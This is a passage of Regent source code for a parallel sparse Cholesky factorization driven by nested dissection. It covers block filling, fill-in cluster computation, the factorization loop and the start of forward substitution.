reads(tree_region, clusters_region, block_bounds), reads writes(cluster_bounds_region) do for lvl = 0, depth+1 do var level = tree[lvl] for sep_idx in level.ispace do var row = level[sep_idx].node var block_color = int2d{row, row} var block_bound = block_bounds[block_color].bounds var cluster_bound = cluster_bounds[block_color] -- c.printf("Partitioning: %d %d Bounds: %d %d %d %d\n", row, row, block_bound.lo.x, block_bound.lo.y, block_bound.hi.x, block_bound.hi.y) partition_separator(block_color, block_bound, cluster_bound, interval, interval_lbl, clusters_region, clusters_sep, clusters_int, clusters, debug) for clvl = lvl+1, depth+1 do var clevel = tree[clvl] for csep_idx = [int](sep_idx*math.pow(2, clvl-lvl)), [int]((sep_idx+1)*math.pow(2, clvl-lvl)) do var col = clevel[csep_idx].node var block_color = int2d{row, col} var block_bound = block_bounds[block_color].bounds var cluster_bound = cluster_bounds[block_color] -- c.printf("Partitioning: %d %d Bounds: %d %d %d %d\n", row, col, block_bound.lo.x, block_bound.lo.y, block_bound.hi.x, block_bound.hi.y) partition_separator(block_color, block_bound, cluster_bound, interval, interval_lbl, clusters_region, clusters_sep, clusters_int, clusters, debug) end end end end end __demand(__inline) task search(entry:int2d, cols:int, load_factor:int, nonzero_entries:region(ispace(int1d), MatrixEntry)) where reads(nonzero_entries) do var col = [uint64](cols) var idx:uint64 = entry.x*col+entry.y var hash = mnd.hash_sax(idx) var k = hash % load_factor var p = nonzero_entries[k] var val = 0.0 if p.idx ~= entry then while p.val ~= 0 do k = (k + 1) % load_factor p = nonzero_entries[k] if p.idx == entry then val = p.val break end end else val = p.val end return val end __demand(__leaf) task fill_block(color : int2d, cols : int, load_factor : int, nonzero_entries : region(ispace(int1d), MatrixEntry), block : region(ispace(int2d), double), row_dofs : region(ispace(int1d), SepIndex), col_dofs : region(ispace(int1d), SepIndex), clusters_region : region(ispace(int1d), ClusterIndex), clusters_sep : partition(disjoint, clusters_region, ispace(int1d)), clusters_int : partition(disjoint, clusters_region, ispace(int1d)), clusters : cross_product(clusters_sep, clusters_int), filled_blocks : region(ispace(int3d), Filled), debug : bool) where reads(nonzero_entries, row_dofs, col_dofs, clusters_region), writes(block, filled_blocks) do var row_sep = color.x var row_cluster = clusters[row_sep][0] var row_cluster_size = row_cluster.volume-1 var row_lo = row_cluster.bounds.lo var col_sep = color.y var col_cluster = clusters[col_sep][0] var col_cluster_size = col_cluster.volume-1 var col_lo = col_cluster.bounds.lo -- c.printf("Filling: %d %d From: %d %d To: %d %d\n", -- color.x, color.y, block.bounds.lo.x, block.bounds.lo.y, block.bounds.hi.x, block.bounds.hi.y) var nz = 0 var block_idx = block.bounds.lo for col = 0, col_cluster_size do var left = col_cluster[col+col_lo].idx var right = col_cluster[col+col_lo+1].idx var col_bound = right - left for row = 0, row_cluster_size do var top = row_cluster[row+row_lo].idx var bottom = row_cluster[row+row_lo+1].idx var row_bound = bottom - top var z = row*col_cluster_size+col var nnz = 0 -- c.printf("Bounds: %d %d %d row: %d %d col: %d %d\n", row_sep, col_sep, z, top, bottom, left, right) var cidx = int2d{0, 0} for i = top, bottom do for j = left, right do var idxi = row_dofs[block.bounds.lo.x+i].idx var idxj = col_dofs[block.bounds.lo.y+j].idx if idxj > idxi then var t = idxi idxi = idxj idxj = t end var eidx = int2d{idxi, idxj} var idx = block_idx + cidx var val = search(eidx, cols, load_factor, nonzero_entries) if row_sep == col_sep and idx.y <= idx.x then if val ~= 0.0 then -- c.printf("Block: %d %d %d Filling Diagonal: %d %d I: %d J: %d EI: %d EJ: %d Entry: %0.3f\n", -- row_sep, col_sep, z, idx.x, idx.y, idxi, idxj, eidx.x, eidx.y, val) block[idx] = val nnz += 1 end elseif row_sep ~= col_sep then if val ~= 0.0 then -- c.printf("Block: %d %d %d Filling Off-Diagonal: %d %d I: %d J: %d EI: %d EJ: %d Entry: 0.3f\n", -- row_sep, col_sep, z, idx.x, idx.y, idxi, idxj, eidx.x, eidx.y, val) block[idx] = val nnz += 1 end end cidx = cidx + {0, 1} end cidx = {cidx.x + 1, 0} end block_idx = block_idx + {row_bound, 0} var color = int3d{x = row_sep, y = col_sep, z = z} if nnz > 0 then filled_blocks[color].filled = 0 end if debug then if nnz > 0 then c.printf("Filled: %d %d %d with %d non-zeros\n", color.x, color.y, color.z, nnz) else c.printf("Block %d %d %d empty\n", color.x, color.y, color.z) end end nz += nnz end block_idx = {block.bounds.lo.x, block_idx.y+col_bound} end return nz end __demand(__inline) task merge_filled_clusters(allocated_blocks : ispace(int2d), filled_clusters : region(ispace(int3d), Filled), interval : int, clusters_region : region(ispace(int1d), ClusterIndex), clusters_sep : partition(disjoint, clusters_region, ispace(int1d)), clusters_int : partition(disjoint, clusters_region, ispace(int1d)), clusters : cross_product(clusters_sep, clusters_int)) where reads(clusters_region), reads writes(filled_clusters) do var blocks = region(filled_clusters.ispace, Filled) copy(filled_clusters, blocks) fill(filled_clusters.filled, 1) fill(filled_clusters.sep, int2d{-1, -1}) c.printf("Merging blocks from interval: %d\n", interval-1) for block in allocated_blocks do var row_sep = block.x var col_sep = block.y var row_cluster = clusters[row_sep][interval] var col_cluster = clusters[col_sep][interval] if row_cluster.volume ~= 0 and col_cluster.volume ~= 0 then var row_cluster_size = row_cluster.volume-1 var row_lo = row_cluster.bounds.lo var col_cluster_size = col_cluster.volume-1 var col_lo = col_cluster.bounds.lo var prev_cols = clusters[col_sep][interval-1].volume-1 for row = 0, row_cluster_size do var top = row_cluster[row+row_lo].idx var bottom = row_cluster[row+row_lo+1].idx for col = 0, col_cluster_size do var left = col_cluster[col+col_lo].idx var right = col_cluster[col+col_lo+1].idx var new_id = int3d{row_sep, col_sep, row*col_cluster_size+col} -- c.printf("New Id: %d %d %d ->\n", new_id.x, new_id.y, new_id.z) for i = top, bottom do for j = left, right do var old_id = int3d{row_sep, col_sep, i*prev_cols+j} if blocks[old_id].filled == int1d{0} then filled_clusters[new_id].filled = 0 end -- c.printf("\t\t %d Old Filled: %d New Filled: %d\n", -- old_id.z, blocks[old_id].filled, filled_clusters[new_id].filled) end end end end end end end __demand(__leaf) task find_index_space_3d(sepinfo : mnd.SepInfo, tree_region : region(ispace(int1d), TreeNode), tree : partition(disjoint, tree_region, ispace(int1d)), blocks : region(ispace(int3d), int1d), clusters_region : region(ispace(int1d), ClusterIndex), clusters_sep : partition(disjoint, clusters_region, ispace(int1d)), clusters_int : partition(disjoint, clusters_region, ispace(int1d)), clusters : cross_product(clusters_sep, clusters_int)) where reads(tree_region, clusters_region), reads writes (blocks) do for lvl = 0, sepinfo.levels do var level = tree[lvl] for sep_idx in level.ispace do var row_sep = level[sep_idx].node var row_cluster_size = clusters[row_sep][0].volume-1 for i = 0, row_cluster_size do for j = 0, row_cluster_size do -- c.printf("Block: %d %d %d\n", row_sep, row_sep, i*row_cluster_size+j) blocks[{row_sep, row_sep, i*row_cluster_size+j}] = 1 end end for clvl = lvl+1, sepinfo.levels do var clevel = tree[clvl] for csep_idx = [int](sep_idx*math.pow(2, clvl-lvl)), [int]((sep_idx+1)*math.pow(2, clvl-lvl)) do var col_sep = clevel[csep_idx].node var col_cluster_size = clusters[col_sep][0].volume-1 for i = 0, row_cluster_size do for j = 0, col_cluster_size do -- c.printf("Block: %d %d %d\n", row_sep, col_sep, i*col_cluster_size+j) blocks[{row_sep, col_sep, i*col_cluster_size+j}] = 1 end end end end end end end __demand(__leaf) task find_index_space_2d(sepinfo : mnd.SepInfo, tree_region : region(ispace(int1d), TreeNode), tree : partition(disjoint, tree_region, ispace(int1d)), blocks : region(ispace(int2d), int1d)) where reads(tree_region), reads writes (blocks) do for lvl = 0, sepinfo.levels do var level = tree[lvl] for sep_idx in level.ispace do var row_sep = level[sep_idx].node -- c.printf("Sep: %d %d\n", row_sep, row_sep) blocks[{row_sep, row_sep}] = 1 for clvl = lvl+1, sepinfo.levels do var clevel = tree[clvl] for csep_idx = [int](sep_idx*math.pow(2, clvl-lvl)), [int]((sep_idx+1)*math.pow(2, clvl-lvl)) do var col_sep = clevel[csep_idx].node -- c.printf("\tSep: %d %d\n", row_sep, col_sep) blocks[{row_sep, col_sep}] = 1 end end end end end __demand(__leaf) task fill_b(separator : region(ispace(int1d), SepIndex), Bentries : region(ispace(int1d), double), B : region(ispace(int1d), double)) where reads(separator, Bentries), writes(B) do var j = 0 for i in separator.ispace do var idxi = separator[i].idx B[B.bounds.lo + j] = Bentries[idxi] j += 1 end end __demand(__leaf) task write_solution(solution_file:regentlib.string, X:region(ispace(int1d), double)) where reads(X) do c.printf("Saving solution to: %s\n", solution_file) var solution = c.fopen(solution_file, 'w') for i in X.ispace do c.fprintf(solution, "%0.8g\n", X[i]) end c.fclose(solution) end local function generate_partition(r_type) local r = regentlib.newsymbol(r_type, "r") local n = regentlib.newsymbol(int, "n") local task fill_sep([r], [n]) where reads writes(r.sep) do for color in r.ispace do r[color].sep = int2d{color.x, color.y} end var part = partition(r.sep, ispace(int2d, {n, n}, {1, 1})) return part end return fill_sep end local partition_filled_blocks_by_sep = generate_partition(region(ispace(int3d), Filled)) local partition_cluster_bounds_by_sep = generate_partition(region(ispace(int3d), ClusterBounds)) task partition_cluster_bounds_by_cluster(cluster_bounds:region(ispace(int3d), ClusterBounds)) where reads writes(cluster_bounds.cluster) do for i in cluster_bounds.ispace do cluster_bounds[i].cluster = i end var part = partition(cluster_bounds.cluster, cluster_bounds.ispace) return part end __demand(__leaf) task build_separator_tree(tree_region:region(ispace(int1d), TreeNode), sepinfo:mnd.SepInfo) where reads writes(tree_region) do var num_separators = sepinfo.num_separators var i = int1d{1} for level = 0, sepinfo.levels do for elem = 0, [int](math.pow(2, level)) do tree_region[i].node = num_separators tree_region[i].level = int1d{level} num_separators -= 1 i += 1 end end end task read_matrix(matrix_file : regentlib.string, banner : MMatBanner, entries_region : region(ispace(int1d), MatrixEntry)) where writes(entries_region) do var cols:uint64 = [uint64](banner.N) mnd.read_matrix(matrix_file, cols, banner.NZ, __runtime(), __context(), __raw(entries_region.ispace), __physical(entries_region), __fields(entries_region)) end task read_separators(separator_file : regentlib.string, M : int, separators_region : region(ispace(int1d), SepIndex)) where writes(separators_region) do return mnd.read_separators(separator_file, M, __runtime(), __context(), __raw(separators_region.ispace), __physical(separators_region), __fields(separators_region)) end task read_clusters(clusters_file : regentlib.string, M : int, clusters_region : region(ispace(int1d), ClusterIndex)) where writes(clusters_region) do return mnd.read_clusters(clusters_file, M, __runtime(), __context(), __raw(clusters_region.ispace), __physical(clusters_region), __fields(clusters_region)) end task read_vector(vector_file : regentlib.string, N : int, vector_region : region(ispace(int1d), double)) where writes(vector_region) do mnd.read_vector(vector_file, N, __runtime(), __context(), __raw(vector_region.ispace), __physical(vector_region), __fields(vector_region)) end task compute_filled_clusters(levels : int, tree_region : region(ispace(int1d), TreeNode), tree : partition(disjoint, tree_region, ispace(int1d)), clusters_region : region(ispace(int1d), ClusterIndex), clusters_sep : partition(disjoint, clusters_region, ispace(int1d)), clusters_int : partition(disjoint, clusters_region, ispace(int1d)), clusters : cross_product(clusters_sep, clusters_int), block_bounds : region(ispace(int2d), BlockBounds), cluster_bounds_region : region(ispace(int3d), ClusterBounds), cluster_bounds : partition(disjoint, cluster_bounds_region, ispace(int2d)), allocated_blocks_ispace : ispace(int2d), filled_clusters_region : region(ispace(int3d), Filled), filled_clusters_region2 : region(ispace(ptr), Filled), debug : bool) where reads(tree_region, clusters_region, block_bounds), reads writes(filled_clusters_region, filled_clusters_region2, cluster_bounds_region) do var interval = 0 var idx = 0 var interval_lbl = 0 for lvl = levels-1, -1, -1 do partition_separators(lvl, tree_region, tree, interval, interval_lbl, clusters_region, clusters_sep, clusters_int, clusters, block_bounds, cluster_bounds_region, cluster_bounds, debug) var level = tree[lvl] for sep_idx in level.ispace do var sep = level[sep_idx].node var par_idx = [int](sep_idx) for par_lvl = lvl-1, -1, -1 do par_idx = [int](par_idx/2) var par_level = tree[par_lvl] var par_sep = par_level[par_idx].node var grandpar_idx = [int](par_idx) for grandpar_lvl = par_lvl, -1, -1 do var grandpar_level = tree[grandpar_lvl] var grandpar_sep = grandpar_level[grandpar_idx].node var col_cluster_size = clusters[par_sep][interval].volume-1 var A_clusters = (clusters[grandpar_sep][interval].volume-1)*(clusters[sep][interval].volume-1) var B_clusters = (clusters[par_sep][interval].volume-1)*(clusters[sep][interval].volume-1) if grandpar_sep == par_sep then for i = 0, A_clusters do var A_color = int3d{grandpar_sep, sep, i} if filled_clusters_region[A_color].filled == int1d{0} then for j = 0, B_clusters do var B_color = int3d{par_sep, sep, j} var C_color = int3d{grandpar_sep, par_sep, i*col_cluster_size+j} -- c.printf("Level: %d Interval: %d A: %d %d %d Filled: %d B: %d %d %d Filled: %d C: %d %d %d I: %d J: %d Filled: ", -- lvl, interval_lbl, -- A_color.x, A_color.y, A_color.z, filled_clusters_region[A_color].filled, -- B_color.x, B_color.y, B_color.z, filled_clusters_region[B_color].filled, -- C_color.x, C_color.y, C_color.z, i, j) if filled_clusters_region[B_color].filled == int1d{0} then if j <= i then if filled_clusters_region[C_color].filled == int1d{1} then filled_clusters_region[C_color].filled = 0 end end end -- c.printf("%d\n", filled_clusters_region[C_color].filled) end end end else for i = 0, A_clusters do var A_color = int3d{grandpar_sep, sep, i} if filled_clusters_region[A_color].filled == int1d{0} then for j = 0, B_clusters do var B_color = int3d{par_sep, sep, j} var C_color = int3d{grandpar_sep, par_sep, i*col_cluster_size+j} -- c.printf("Level: %d Interval: %d A: %d %d %d Filled: %d B: %d %d %d Filled: %d C: %d %d %d I: %d J: %d Filled: ", -- lvl, interval_lbl, -- A_color.x, A_color.y, A_color.z, filled_clusters_region[A_color].filled, -- B_color.x, B_color.y, B_color.z, filled_clusters_region[B_color].filled, -- C_color.x, C_color.y, C_color.z, i, j) if filled_clusters_region[B_color].filled == int1d{0} then if filled_clusters_region[C_color].filled == int1d{1} then filled_clusters_region[C_color].filled = 0 end end -- c.printf("%d\n", filled_clusters_region[C_color].filled) end end end end grandpar_idx = [int](grandpar_idx/2) end end end for j in filled_clusters_region.ispace do var sep = int2d{j.x, j.y} filled_clusters_region2[idx].filled = filled_clusters_region[j].filled filled_clusters_region2[idx].sep = sep filled_clusters_region2[idx].interval = interval_lbl filled_clusters_region2[idx].cluster = j.z var clust = cluster_bounds[sep] filled_clusters_region2[idx].bounds = clust[j].bounds var size = clust[j].bounds.hi - clust[j].bounds.lo + {1, 1} if debug and filled_clusters_region[j].filled == int1d{0} then c.printf("Fill: {'Level': %d, 'Interval': %d, 'Block': (%d, %d), 'Cluster': (%d, %d, %d), 'Filled': %d, 'Lo': (%d, %d), 'Hi': (%d, %d), 'Size': (%d, %d)}\n", lvl, interval_lbl, j.x, j.y, j.x, j.y, j.z, filled_clusters_region[j].filled, clust[j].bounds.lo.x, clust[j].bounds.lo.y, clust[j].bounds.hi.x, clust[j].bounds.hi.y, size.x, size.y) end idx += 1 end interval_lbl += 1 if lvl <= levels-2 then interval += 1 if interval < levels then merge_filled_clusters(allocated_blocks_ispace, filled_clusters_region, interval, clusters_region, clusters_sep, clusters_int, clusters) end end end end __demand(__inline) task factor(lvl : int, tree_region : region(ispace(int1d), TreeNode), tree : partition(disjoint, tree_region, ispace(int1d)), banner : MMatBanner, mat : region(ispace(int2d), double), mat_part : partition(disjoint, mat, ispace(int2d)), filled_clusters_region : region(ispace(ptr), Filled), filled_clusters_sep : partition(disjoint, filled_clusters_region, ispace(int2d)), filled_clusters_int : partition(disjoint, filled_clusters_region, ispace(int1d)), filled_clusters : cross_product(filled_clusters_sep, filled_clusters_int), cluster_bounds_region : region(ispace(int3d), ClusterBounds), cluster_bounds : partition(disjoint, cluster_bounds_region, ispace(int2d)), interval : int, clusters_region : region(ispace(int1d), ClusterIndex), clusters_sep : partition(disjoint, clusters_region, ispace(int1d)), clusters_int : partition(disjoint, clusters_region, ispace(int1d)), clusters : cross_product(clusters_sep, clusters_int), debug_path : regentlib.string, debug : bool) where reads(tree_region, cluster_bounds_region, clusters_region, filled_clusters_region), reads writes(mat) do end -- __demand(__inner) task main() cblas.openblas_set_num_threads(1) var args = c.legion_runtime_get_input_args() var matrix_file = "" var separator_file = "" var clusters_file = "" var b_file = "" var solution_file = "" var factor_file = "" var permuted_matrix_file = "" var debug_path = "" var debug = false var iterations = 1 for i = 0, args.argc do if c.strcmp(args.argv[i], "-i") == 0 then matrix_file = args.argv[i+1] elseif c.strcmp(args.argv[i], "-s") == 0 then separator_file = args.argv[i+1] elseif c.strcmp(args.argv[i], "-c") == 0 then clusters_file = args.argv[i+1] elseif c.strcmp(args.argv[i], "-m") == 0 then factor_file = args.argv[i+1] elseif c.strcmp(args.argv[i], "-p") == 0 then permuted_matrix_file = args.argv[i+1] elseif c.strcmp(args.argv[i], "-o") == 0 then solution_file = args.argv[i+1] elseif c.strcmp(args.argv[i], "-b") == 0 then b_file = args.argv[i+1] elseif c.strcmp(args.argv[i], "-d") == 0 then debug_path = args.argv[i+1] debug = true elseif c.strcmp(args.argv[i], "--iterations") == 0 then iterations = c.atoi(args.argv[i+1]) end end c.printf("Iterations: %d\n", iterations) var banner = read_matrix_banner(matrix_file) c.printf("M: %d N: %d nz: %d typecode: %s\n", banner.M, banner.N, banner.NZ, banner.typecode) var separators_region = region(ispace(int1d, banner.M), SepIndex) var sepinfo = read_separators(separator_file, banner.M, separators_region) var levels = sepinfo.levels var num_separators = sepinfo.num_separators var separators = partition(separators_region.sep, ispace(int1d, num_separators, 1)) var tree_region = region(ispace(int1d, num_separators, 1), TreeNode) fill(tree_region.node, -1) fill(tree_region.level, -1) build_separator_tree(tree_region, sepinfo) var tree = partition(tree_region.level, ispace(int1d, sepinfo.levels)) var clusters_region = region(ispace(int1d, num_separators*num_separators, 1), ClusterIndex) var max_int_size = read_clusters(clusters_file, banner.M, clusters_region) var clusters_sep = partition(clusters_region.sep, ispace(int1d, num_separators, 1)) var clusters_int = partition(clusters_region.interval, ispace(int1d, levels)) var clusters = cross_product(clusters_sep, clusters_int) c.printf("levels: %d\n", levels) c.printf("separators: %d\n", num_separators) c.printf("Max Interval Size: %d\n", max_int_size) var mat = region(ispace(int2d, {x = banner.M, y = banner.N}), double) var load_factor = [int](c.ceil(banner.NZ/0.75)) var nonzero_entries = region(ispace(int1d, load_factor), MatrixEntry) fill(nonzero_entries.idx, int2d{-1, -1}) fill(nonzero_entries.val, 0) read_matrix(matrix_file, banner, nonzero_entries) var blocks = region(ispace(int2d, {num_separators, num_separators}, {1, 1}), int1d) fill(blocks, 0) find_index_space_2d(sepinfo, tree_region, tree, blocks) var allocated_blocks = partition(blocks, ispace(int1d, 2)) var allocated_blocks_ispace = allocated_blocks[1].ispace var block_bounds = region(allocated_blocks_ispace, BlockBounds) fill(block_bounds.sep, int2d{-1, -1}) fill(block_bounds.bounds, rect2d{lo=int2d{0, 0}, hi=int2d{-1, -1}}) partition_matrix(sepinfo, separators_region, separators, tree_region, tree, banner, mat, block_bounds, debug) var block_bounds_part = partition(block_bounds.sep, allocated_blocks_ispace) var mat_part = partition_mat_by_image_range(mat, block_bounds, block_bounds_part) var cluster_blocks = region(ispace(int3d, {num_separators, num_separators, max_int_size*max_int_size}, {1, 1, 0}), int1d) fill(cluster_blocks, 0) find_index_space_3d(sepinfo, tree_region, tree, cluster_blocks, clusters_region, clusters_sep, clusters_int, clusters) var allocated_clusters = partition(cluster_blocks, ispace(int1d, 2)) var allocated_clusters_ispace = allocated_clusters[1].ispace c.printf("Blocks ispace: %d\n", allocated_blocks_ispace.volume) c.printf("Clusters ispace: %d\n", allocated_clusters_ispace.volume) var filled_clusters_region = region(allocated_clusters_ispace, Filled) fill(filled_clusters_region.filled, 1) fill(filled_clusters_region.sep, int2d{-1, -1}) fill(filled_clusters_region.interval, -1) fill(filled_clusters_region.cluster, -1) fill(filled_clusters_region.bounds, rect2d{lo=int2d{0, 0}, hi=int2d{-1, -1}}) var filled_clusters_by_sep = partition_filled_blocks_by_sep(filled_clusters_region, num_separators) var cluster_bounds_region = region(allocated_clusters_ispace, ClusterBounds) fill(cluster_bounds_region.sep, int2d{-1, -1}) fill(cluster_bounds_region.cluster, int3d{-1, -1, -1}) fill(cluster_bounds_region.bounds, rect2d{lo=int2d{0, 0}, hi=int2d{-1, -1}}) var cluster_bounds = partition_cluster_bounds_by_sep(cluster_bounds_region, num_separators) for color in mat_part.colors do var block = mat_part[color] -- c.printf("Filling: %d %d\n", color.x, color.y) var fpblock = filled_clusters_by_sep[color] fill(block, 0) var row_dofs = separators[color.x] var col_dofs = separators[color.y] fill_block(color, banner.N, load_factor, nonzero_entries, block, row_dofs, col_dofs, clusters_region, clusters_sep, clusters_int, clusters, fpblock, debug) end c.printf("Done fill.\n") if c.strcmp(permuted_matrix_file, '') ~= 0 then write_matrix(mat, mat_part, permuted_matrix_file, banner) end -- regentlib.assert(nz == banner.NZ, "Mismatch in number of entries.") var filled_clusters_region2 = region(ispace(ptr, allocated_clusters_ispace.volume*levels), Filled) fill(filled_clusters_region2.filled, 1) fill(filled_clusters_region2.sep, int2d{-1, -1}) fill(filled_clusters_region2.interval, -1) fill(filled_clusters_region2.cluster, -1) fill(filled_clusters_region2.bounds, rect2d{lo=int2d{0, 0}, hi=int2d{-1, -1}}) compute_filled_clusters(levels, tree_region, tree, clusters_region, clusters_sep, clusters_int, clusters, block_bounds, cluster_bounds_region, cluster_bounds, allocated_blocks_ispace, filled_clusters_region, filled_clusters_region2, debug) var filled_part = partition(filled_clusters_region2.filled, ispace(int1d, 2)) var filled_clusters_filled = filled_part[0] var filled_clusters_sep = partition(filled_clusters_filled.sep, allocated_blocks_ispace) var filled_clusters_intervals = partition(filled_clusters_filled.interval, ispace(int1d, levels)) var filled_clusters = cross_product(filled_clusters_sep, filled_clusters_intervals) __demand(__trace) for iteration = 0, iterations do var interval = 0 var interval_lbl = 0 for color in mat_part.colors do var block = mat_part[color] -- c.printf("Filling: %d %d\n", color.x, color.y) var fpblock = filled_clusters_by_sep[color] fill(block, 0) var row_dofs = separators[color.x] var col_dofs = separators[color.y] fill_block(color, banner.N, load_factor, nonzero_entries, block, row_dofs, col_dofs, clusters_region, clusters_sep, clusters_int, clusters, fpblock, debug) end var factor_start = c.legion_get_current_time_in_micros() for lvl = levels-1, -1, -1 do c.printf("Factoring Level: %d Interval: %d Iteration: %d\n", lvl, interval, iteration) if lvl < 0 then factor(lvl, tree_region, tree, banner, mat, mat_part, filled_clusters_filled, filled_clusters_sep, filled_clusters_intervals, filled_clusters, cluster_bounds_region, cluster_bounds, interval, clusters_region, clusters_sep, clusters_int, clusters, debug_path, debug) else var level = tree[lvl] __demand(__parallel) for sep_idx in level.ispace do var sep = level[sep_idx].node var pivot_color = int2d{sep, sep} var filled_pivot = filled_clusters[pivot_color][interval_lbl] fused_dpotrf(mat_part[pivot_color], filled_pivot, lvl, interval_lbl, debug) if debug then -- var pivot = mat_part[pivot_color] -- var sizeA = pivot.bounds.hi - pivot.bounds.lo + {1, 1} -- c.printf("Level: %d POTRF A=(%d, %d)\nSize: %dx%d Lo: %d %d Hi: %d %d\n\n", -- lvl, sep, sep, sizeA.x, sizeA.y, -- pivot.bounds.lo.x, pivot.bounds.lo.y, pivot.bounds.hi.x, pivot.bounds.hi.y) write_blocks(mat, mat_part, lvl, pivot_color, int2d{0, 0}, int2d{0, 0}, "POTRF", banner, debug_path) end end __demand(__parallel) for sep_idx in level.ispace do var sep = level[sep_idx].node var pivot_color = int2d{sep, sep} var filled_pivot = filled_clusters[pivot_color][interval_lbl] var par_idx = [int](sep_idx) for par_lvl = lvl-1, -1, -1 do par_idx = [int](par_idx/2) var par_level = tree[par_lvl] var par_sep = par_level[par_idx].node var off_diag_color = int2d{par_sep, sep} var filled_off_diag = filled_clusters[off_diag_color][interval_lbl] fused_dtrsm(mat_part[pivot_color], mat_part[off_diag_color], filled_pivot, filled_off_diag, lvl, interval_lbl, debug) if debug then -- var pivot = mat_part[pivot_color] -- var sizeA = pivot.bounds.hi - pivot.bounds.lo + {1, 1} -- var off_diag = mat_part[off_diag_color] -- var sizeB = off_diag.bounds.hi - off_diag.bounds.lo + {1, 1} -- c.printf("\tLevel: %d TRSM A=(%d, %d) B=(%d, %d)\n\tSizeA: %dx%d Lo: %d %d Hi: %d %d SizeB: %dx%d Lo: %d %d Hi: %d %d\n\n", -- par_lvl, sep, sep, par_sep, sep, -- sizeA.x, sizeA.y, pivot.bounds.lo.x, pivot.bounds.lo.y, pivot.bounds.hi.x, pivot.bounds.hi.y, -- sizeB.x, sizeB.y, off_diag.bounds.lo.x, off_diag.bounds.lo.y, off_diag.bounds.hi.x, off_diag.bounds.hi.y) write_blocks(mat, mat_part, lvl, pivot_color, off_diag_color, int2d{0, 0}, "TRSM", banner, debug_path) end end end __demand(__parallel) for sep_idx in level.ispace do var sep = level[sep_idx].node var par_idx = [int](sep_idx) for par_lvl = lvl-1, -1, -1 do par_idx = [int](par_idx/2) var par_level = tree[par_lvl] var par_sep = par_level[par_idx].node var grandpar_idx = [int](par_idx) for grandpar_lvl = par_lvl, -1, -1 do var grandpar_level = tree[grandpar_lvl] var grandpar_sep = grandpar_level[grandpar_idx].node var A_color = int2d{grandpar_sep, sep} var filled_A = filled_clusters[A_color][interval_lbl] var B_color = int2d{par_sep, sep} var filled_B = filled_clusters[B_color][interval_lbl] var C_color = int2d{grandpar_sep, par_sep} var filled_C = filled_clusters[C_color][interval_lbl] var col_cluster_size = clusters[par_sep][interval].volume-1 if grandpar_sep == par_sep then fused_dsyrk(mat_part[A_color], mat_part[B_color], mat_part[C_color], filled_A, filled_B, filled_C, col_cluster_size, lvl, interval_lbl, debug) else fused_dgemm(mat_part[A_color], mat_part[B_color], mat_part[C_color], filled_A, filled_B, filled_C, col_cluster_size, lvl, interval_lbl, debug) end if debug then -- var A = mat_part[A_color] -- var B = mat_part[B_color] -- var C = mat_part[C_color] -- var sizeA = A.bounds.hi - A.bounds.lo + {1, 1} -- var sizeB = B.bounds.hi - B.bounds.lo + {1, 1} -- var sizeC = C.bounds.hi - C.bounds.lo + {1, 1} -- c.printf("\tLevel: %d GEMM A=(%d, %d) B=(%d, %d) C=(%d, %d)\n\tSizeA: %dx%d Lo: %d %d Hi: %d %d SizeB: %dx%d Lo: %d %d Hi: %d %d SizeC: %dx%d Lo: %d %d Hi: %d %d\n\n", -- grandpar_lvl, -- grandpar_sep, sep, -- par_sep, sep, -- grandpar_sep, par_sep, -- sizeA.x, sizeA.y, A.bounds.lo.x, A.bounds.lo.y, A.bounds.hi.x, A.bounds.hi.y, -- sizeB.x, sizeB.y, B.bounds.lo.x, B.bounds.lo.y, B.bounds.hi.x, B.bounds.hi.y, -- sizeC.x, sizeC.y, C.bounds.lo.x, C.bounds.lo.y, C.bounds.hi.x, C.bounds.hi.y) write_blocks(mat, mat_part, lvl, A_color, B_color, C_color, "GEMM", banner, debug_path) end grandpar_idx = [int](grandpar_idx/2) end end end end interval_lbl += 1 if lvl <= levels-2 then interval += 1 end end c.printf("Done factoring Iteration: %d.\n", iteration) end if c.strcmp(factor_file, '') ~= 0 then write_matrix(mat, mat_part, factor_file, banner) end if c.strcmp(b_file, '') == 0 then return end var Bentries = region(ispace(int1d, banner.N), double) read_vector(b_file, banner.N, Bentries) var Bprev_size = 0 var B = region(ispace(int1d, banner.N), double) var X = region(ispace(int1d, banner.N), double) var vec_bounds = region(ispace(int1d, num_separators, 1), VecBounds) fill(vec_bounds.bounds, rect1d{lo=int1d{0}, hi=int1d{-1}}) for sep = 1, num_separators+1 do var size = separators[sep].volume vec_bounds[sep].bounds = rect1d { int1d{Bprev_size}, int1d{Bprev_size + size - 1} } vec_bounds[sep].sep = int1d{ sep } -- c.printf("Separator: %d Lo: %d Hi: %d Size: %d 1\n", sep, bounds.lo, bounds.hi, bounds.hi - bounds.lo + 1) Bprev_size = Bprev_size + size end var vec_bounds_part = partition(vec_bounds.sep, ispace(int1d, num_separators, 1)) var Bpart = partition_vec_by_image_range(B, vec_bounds, vec_bounds_part) for color in Bpart.colors do var part = Bpart[color] var sep = separators[color] fill_b(sep, Bentries, part) end c.printf("Forward Substitution\n") for lvl = levels-1, -1, -1 do var level = tree[lvl] for sep_idx in level.ispace do var sep = level[sep_idx].node var pivot = mat_part[{sep, sep}] var bp = Bpart[sep] var sizeA = pivot.bounds.hi - pivot.bounds.lo + {1, 1} var sizeB = bp.bounds.hi - bp.bounds.lo + 1 -- c.printf("Level: %d TRSV A=(%d, %d) B=(%d)\nSizeA: %dx%d Lo: %d %d Hi: %d %d SizeB: %d Lo: %d 1 Hi: %d 1\n\n", -- level, sep, sep, sep, -- sizeA.x, sizeA.y, pivot.bounds.lo.x, pivot.bounds.lo.y, pivot.bounds.hi.x, pivot.bounds.hi.y, -- sizeB, bp.bounds.lo, bp.bounds.hi) dtrsv(pivot, bp, cblas.CblasLower, cblas.CblasNoTrans) var par_idx = [int](sep_idx) for par_lvl = lvl-1, -1, -1 do par_idx = [int](par_idx/2) var par_level = tree[par_lvl] var par_sep = par_level[par_idx].node var A = mat_part[{par_sep, sep}] var sizeA = A.bounds.hi - A.bounds.lo + {1, 1} var X = Bpart[sep] var sizeX = X.bounds.hi - X.bounds.lo + 1 var Y = Bpart[par_sep] var sizeY = Y.bounds.hi - Y.bounds.lo + 1 -- c.printf("\tLevel: %d GEMV A=(%d, %d) X=(%d) Y=(%d)\n\tSizeA: %dx%d Lo: %d %d Hi: %d %d SizeX: %d Lo: %d 1 Hi: %d 1 SizeY: %d Lo: %d 1 Hi: %d 1\n\n", -- par_level, sep, par_sep, sep, par_sep, -- sizeA.x, sizeA.y, A.bounds.lo.x, A.bounds.lo.y, A.bounds.hi.x, A.bounds.hi.y, -- sizeX, X.bounds.lo, X.bounds.hi, -- sizeY, 